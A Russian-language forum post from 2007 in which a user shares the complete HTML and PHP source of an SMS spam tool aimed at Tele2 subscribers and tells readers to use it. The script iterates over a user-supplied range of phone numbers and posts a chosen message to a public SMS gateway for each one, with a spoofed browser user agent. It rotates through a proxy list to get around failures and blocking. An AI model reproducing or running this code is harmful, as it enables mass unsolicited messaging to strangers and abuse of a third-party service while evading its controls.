Показать сообщение отдельно

  #40  
Старый 23.04.2007, 17:35
sb2k
Новичок
Регистрация: 30.04.2005
Сообщений: 22
С нами: 11067701

Репутация: 34
По умолчанию

Привет усем =)
Судя по количеству просмотров и ответов данная тема многим не безразлична, в связи с этим решил выложить исходники спамилки для оператора теле 2.

index.html
Цитата:
<html>
<center>
<form name="tele2" action="send.php" method="POST">
<h3>Prefix</h3><br>
<input name="prefix" value="7904" type="text"><br>
<h3>From num</h3><br>
<input name="from" value="5110000" type="text" size="14" maxlength="7"><br>
<h3>To num</h3><br>
<input name="to" value="5919999" type="text" size="14" maxlength="7"><br>
<h3>Message text</h3><br>
<textarea name="message" rows="5" cols="40"></textarea><br>
<input name="submit" type="submit" value="Start spam">
</center>
</html>
send.php
Цитата:
<?
ini_set("error_log",'errors.txt');
ini_set("log_errors",'1');
set_time_limit(0);
$log=fopen("log.txt","w+");
$proxy="";
$proxycount=0;
$proxyf=file("proxy.txt");

function setproxy(){
global $proxy;
global $proxycount;
global $proxyf;

if ($proxycount==count($proxyf))
{
{$proxy=$proxyf[0];$proxycount=0;exit;}
}
$proxy=trim($proxyf[$proxycount]);
$proxycount=$proxycount+1;
printandlog("Set proxy - ".$proxy);
}

function printandlog($text){
global $log;
fputs($log,$text."\r\n");
echo $text.'<br>';
flush();
}

function send($prefix,$phone,$message){
global $proxy;
$message=urlencode($message);
$cr=curl_init("http://www.rocc.ru/cgi-bin/sms33.cgi");
curl_setopt($cr, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
curl_setopt($cr, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
curl_setopt($cr, CURLOPT_TIMEOUT, 30);
curl_setopt($cr, CURLOPT_HEADER, 1);
curl_setopt($cr, CURLOPT_POSTFIELDS, "Prefix=".$prefix."&phone=".$phone."&message=".$me ssage."&remainchars=160");
curl_setopt($cr,CURLOPT_PROXY,$proxy);
curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);
$r = curl_exec($cr);
if (curl_error($cr))
{
return 'connection_error';
curl_close($cr);
exit;
}
curl_close($cr);
// echo $r;
//Сообщение принято к отправке.
if (StrPos($r,"принято к отправке")==true) return "send"; else return "notsend";
}

if (!isset($_POST["from"])) die;
if (!isset($_POST["to"])) die;
if (!isset($_POST["message"])) die;
if (!isset($_POST["prefix"])) die;

printandlog("Spam start");
printandlog("Found ".count($proxyf)." proxy");
for ($i=$from;$i<=$to;$i++)
{
setproxy();
while(1==1)
{
$tem=send($prefix,$i,$message);
if ($tem<>"send") setproxy(); else break;
}
printandlog($i." - Send");
}
printandlog("All message send ok");
?>
Пользуйте
 
Ответить с цитированием